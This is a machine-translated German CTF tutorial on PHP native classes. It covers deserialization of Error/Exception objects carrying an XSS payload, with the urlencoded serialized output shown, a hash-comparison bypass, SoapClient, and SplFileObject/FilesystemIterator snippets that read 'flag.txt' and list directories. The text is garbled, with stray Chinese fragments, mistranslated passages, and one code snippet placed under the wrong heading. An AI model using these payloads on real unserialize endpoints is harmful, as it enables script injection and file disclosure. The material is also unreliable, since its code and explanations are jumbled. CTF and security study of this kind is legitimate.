Dieser Artikel vermittelt Ihnen relevantes Wissen über PHP und stellt hauptsächlich die relevanten Inhalte zu nativen Klassen vor. Ich hoffe, dass er für alle hilfreich ist.
Dieses Mal ist HEctf eine native Frage mit nur drei Codezeilen. Tatsächlich ist es in CTF umso schwieriger, je kürzer der Code ist.
Veröffentlichen Sie zuerst ein Skript, das in PHP integrierte Klassen durchläuft
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
Das Ergebnis:
Um es klarzustellen:
Exception ErrorException Error ParseError TypeError ArgumentCountError ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
Wahrscheinlich sind dies die Klassen, aber die folgenden Kategorien werden häufig in CTF-Wettbewerben verwendet
__toString-Methode gibt die Zeichenfolgenform des Fehlers oder der Ausnahme zurück, die die enthält Parameter Wir geben ein: Wenn wir eine Zeichenfolge aus XSS-Code erstellen und diese mit Echo-Rendering kombinieren, wird die reflektierte XSS-Sicherheitsanfälligkeit ausgelöst
Exception xss
Exception
ist die Basisklasse für alle Ausnahmen auf Benutzerebene. (PHP 5, 7, 8) Die Pop-Struktur von
<?php $a = unserialize($_GET['a']);echo $a;
und Fehler scheint dieselbe zu sein (Ausnahme gilt für PHP5 und 7, Fehler gilt nur für PHP7), ersetzen Sie einfach Fehler durch Ausnahme. Das Fenster erscheint immer noch erfolgreich
Fehler/Ausnahme Integrierte Klassen umgehen den Hash-VergleichDurch die Erstellung dieser beiden Klassen können Sie die Funktionen md5() und sha1() umgehen. Sowohl Fehler als auch Ausnahme verfügen über eine wichtige Methode: _tostring, die zum Konvertieren von Ausnahmeobjekten in Zeichenfolgen verwendet wird.
In ähnlicher Weise wird die __tostring-Methode automatisch aufgerufen, wenn die Funktionen md5() und sha1() Objekte verarbeiten.
<?php $a = new Error("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b);
Ergebnisse ausgeben
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
Einfache Bedeutung des Objektzugriffsprotokolls
Der Grund, warum es hier als einfach bezeichnet wird, liegt darin, dass es auf zwei Protokollen basiert, die weit verbreitet sind: HTTP und XML, also das Die Industrie nennt dies: „Es ist die erste Technologie, die keine neue Technologie erfunden hat.“ Sie wird als Objekt bezeichnet, da der Dienst, auf den zugegriffen wird, als Objekt bezeichnet wird und Aufrufverhalten werden diese Eigenschaften und Verhaltensweisen durch WSDL beschrieben. Wenn Sie es im Sinne von „Simple Object Access Protocol“ verstehen, ist es einfacher als „Simple Object Access Protocol“.
Die in PHP integrierte Klasse SoapClient ist eine Klasse, die speziell für den Zugriff auf Webdienste verwendet wird. Sie kann eine Möglichkeit bieten, auf das Internet zuzugreifen Dienste basierend auf dem SOAP-Protokoll. Der Konstruktor dieser Klasse lautet wie folgt:<?php $a = new Exception("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b); ?>
Der erste Parameter wird verwendet, um anzugeben, ob es sich um den WSDL-Modus handelt. Wenn der Wert auf Null gesetzt wird, bedeutet dies, dass es sich um einen Nicht-WSDL-Modus handelt.
Der zweite Parameter ist ein Array. Im WSDL-Modus ist dieser Parameter optional; im Nicht-WSDL-Modus müssen Sie die Standort- und URI-Optionen festlegen, wobei Standort die URL des SOAP-Servers ist, an den die Anfrage gerichtet ist gesendet werden. Und uri ist der Ziel-Namespace des SOAP-Dienstes.
... Ausgabe Bezeichnung Der erste sortierte Dateiname im Verzeichnis.<?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
SplFileObject::__toString — 以字符串形式返回文件的路径
<?php $a = new SplFileObject('flag.txt'); echo $a;
输出多行
<?php $a = new SplFileObject('flag.txt'); foreach($a as $f){ echo($f); }
推荐学习:《PHP视频教程》
Das obige ist der detaillierte Inhalt vonZusammenfassende gemeinsame Nutzung nativer PHP-Klassen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!